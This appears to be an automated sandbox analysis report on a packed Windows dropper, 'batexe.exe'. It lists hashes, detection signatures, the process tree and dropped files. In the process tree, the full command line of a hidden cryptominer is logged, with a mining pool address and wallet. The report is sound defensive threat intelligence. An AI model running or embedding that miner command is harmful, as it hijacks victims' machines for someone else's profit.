73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
296s
max time network
299s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
11-02-2024 23:44

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4304	b2e.exe
3304	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3304	cpuminer-sse2.exe
3304	cpuminer-sse2.exe
3304	cpuminer-sse2.exe
3304	cpuminer-sse2.exe
3304	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/520-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 520 wrote to memory of 4304	520	batexe.exe	74
PID 520 wrote to memory of 4304	520	batexe.exe	74
PID 520 wrote to memory of 4304	520	batexe.exe	74
PID 4304 wrote to memory of 4860	4304	b2e.exe	75
PID 4304 wrote to memory of 4860	4304	b2e.exe	75
PID 4304 wrote to memory of 4860	4304	b2e.exe	75
PID 4860 wrote to memory of 3304	4860	cmd.exe	78
PID 4860 wrote to memory of 3304	4860	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:520
- C:\Users\Admin\AppData\Local\Temp\10C4.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\10C4.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\10C4.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4304
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1623.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4860
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3304

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\10C4.tmp\b2e.exe

Filesize
3.8MB

MD5
bcb05e7a0b2ed370b3b4c0a41c42c760

SHA1
800a5b843f051a1094052324d3f750cae7d1c6af

SHA256
1d538a97e8632e3a8cf176b046da4b3a8237ac1c3f7893495b41d6fc25797ea5

SHA512
307633f58b19e0ebbf4a047e8d75cf668c9210a93d42a4f0400ac3d92f20fa1696110166fed54abd074da3d6249c40f7e2028db56de323b1a50c744e589494c9

Download Submit
C:\Users\Admin\AppData\Local\Temp\10C4.tmp\b2e.exe

Filesize
3.1MB

MD5
d313455a14b211532dd1379a1cad2238

SHA1
d1bbb671df32ca5cedbdf3f5ccb03b38ada86c30

SHA256
481177c2f08b0a6952539a8a7fa9bd380f8163fccebeb0ab0a8dae354e74bf0f

SHA512
faeec127c0ac8e32860384bceff0055054a0c67b7d396cfcf9406a07b5408692c213ca64e680724ebfe745045de7d027180bbff8c744607f5230d5cef177b4db

Download Submit
C:\Users\Admin\AppData\Local\Temp\1623.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
869KB

MD5
858136c12f25d88183777e484594fbcb

SHA1
5f962d090714035f2467e3f0860ef2a0e6818256

SHA256
06166e154bbc32e170851324040d42ff3bfa01faa897b7a840b8c85d264000a9

SHA512
0af2b6f423a8794cbbcddd2750e335d0523e79813d2e09f5aea0267794b977eef9e1d9fb4c2be93f07bb27af519c3a3108b1a281088705869831f19db883ff77

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.1MB

MD5
d63702d6e44cbd311b774abb27b2f456

SHA1
1aaf884dc8ccf868b1838fef04dd9b9324b06b0c

SHA256
37e3667dbbf09de6aba21f889e2f960ce9182db15291cfe2242bab769705f257

SHA512
fbeb4f9a50d6161e272f95d0f44af3d4aacc31792eaa8c3e40839d74fc6257c1c01862828e96777ff233563ee24425a2e0bb96a8dd3ede0eece35f68559d4ab8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
711KB

MD5
b350c16e9e6d0a6372c7a961901602e0

SHA1
3f87019de710a54de1a71918ac38caa09c553098

SHA256
33866530e66e2812cf772dcd7733a297e905a55bede24ad078bdf2849974ce2e

SHA512
4ffc8cc8d32bf3e9b46db1bdee7099382b7a6bf2751629052d7433d64599d9e0703f5ac2fca0506e6a8018147a1748bb1424ef6f68c25436c6cf952be57cbdc4

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
b9d328364ee681774f67e9cb495f5bac

SHA1
1bec81d9f0daead4a15def83cbb9b411ad47dd6a

SHA256
bfaf0296f5158a8f781d2239b523ac755ddb08796ef53dfc5555c1e95495e439

SHA512
35d274ea3a5395dedcb1a0eb535af8be7e47047d0a9ae56c11099e1ee5d619d363a1e09b00192dfda82e3f122acda5a41e1033d9e5965a41404fd7e40bb377ef

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
801KB

MD5
6446635f2c48bef4d8646eb184ee066c

SHA1
c855e3e387a0f54eb9c03002dd9bdfa1a64be55e

SHA256
65bfd69c7af2143e67873e34b41e3a1b7b0444380fbed07509d7699f238e0c86

SHA512
aa4ef38020c810a82127acc0ff0305081f93d43473f8f65ca86d606e665657f3c9c2373d569f95df3f8100e5e1ef6d2597b3d7f59605589aa18736d3c7cc78d8

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.0MB

MD5
c2153796a9d5eb2295ef7547c572b43c

SHA1
33d93ef3d3d0b69ec1f30fed28c70bf8edd5bba7

SHA256
ed3a5e07133f6cad48de2c070928c52907c2af91eeca0a74ed181324b806fdd0

SHA512
2396a72d6c59946ff3fd46521f5638ba8abd17746e0477b3b8fee6fe8883d2444633b7d0df52cdb48ee218da25953d25d706733089d693e974777799029f8332

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
871KB

MD5
5c4938838bd045ef28081652e4cd8974

SHA1
e0ba0bab3c8f162eaad57c21ded9d10a70c80528

SHA256
40ab18a11a119382398741b6d55eede4218c71f2881d71cfcb1f8f8c6df7ff0e

SHA512
c4119162326d953a5c8620099f730fc27060094262bab913aa511babd67b2c9492fcdfad0c52e4204857fe5ceb8b77f74cf405b3130c10d71310e07096093f4d

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
909KB

MD5
73cf68aca096b69e27a9a9d09f179d3c

SHA1
d44d43f61897f87d4735f58510cf7e33454c10fa

SHA256
4308e1ed33391e78816c186e1fa973617fc0dec1af7bd36a889986b1d08e4669

SHA512
ebf40618e3a7871f84152f879d3a92cbfabfa99c1a6b468dadcbfa936efb71aee52317af83e9309cc7d643ee3375c9e7e58cc79e88eb49cd44396a3e1cf2d6f0

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/520-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3304-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3304-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3304-42-0x0000000068830000-0x00000000688C8000-memory.dmp

Filesize
608KB

Download
memory/3304-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3304-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3304-44-0x0000000001160000-0x0000000002A15000-memory.dmp

Filesize
24.7MB

Download
memory/3304-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3304-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3304-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3304-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3304-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3304-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3304-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3304-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4304-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4304-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download